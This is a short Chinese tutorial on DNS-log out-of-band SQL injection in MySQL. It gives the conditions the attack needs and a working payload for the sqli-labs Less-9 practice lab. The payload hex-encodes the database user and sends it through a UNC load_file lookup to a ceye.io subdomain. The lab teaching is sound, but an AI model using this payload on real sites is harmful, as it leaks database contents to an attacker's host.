一、原理:
访问域名时,dns协议将我们访问的语句解析为ip地址,并将其记录在其日志中;在这个过程中,如果我们在语句中写入SQL注入的语句,那么在dns解析时会执行这些语句并通过concat将结果和域名一起记录在日志中,这时我们就能直接去日志中查看敏感信息。
二、条件:
1.mysql的my.ini文件中的secure_file_priv参数值要为空, secure_file_priv=""
2.用户的权限必须是root
3.网站是windows服务器,因为load_file()基于UNC格式读取,是windows系统特有的
三、网站:
CEYE - Monitor service for security testing
四、示例:
以sqli-labs第9关为例:
sql
http://127.0.0.1/sqli-labs-master/Less-9/
?id=1' and (select load_file(concat('\\\\',(select hex(user())),'
.s5vuxg.ceye.io\\abc')))--+
因为一些字符不能直接回显在网页上,需要hex()转为十六进制


最后再转回来即可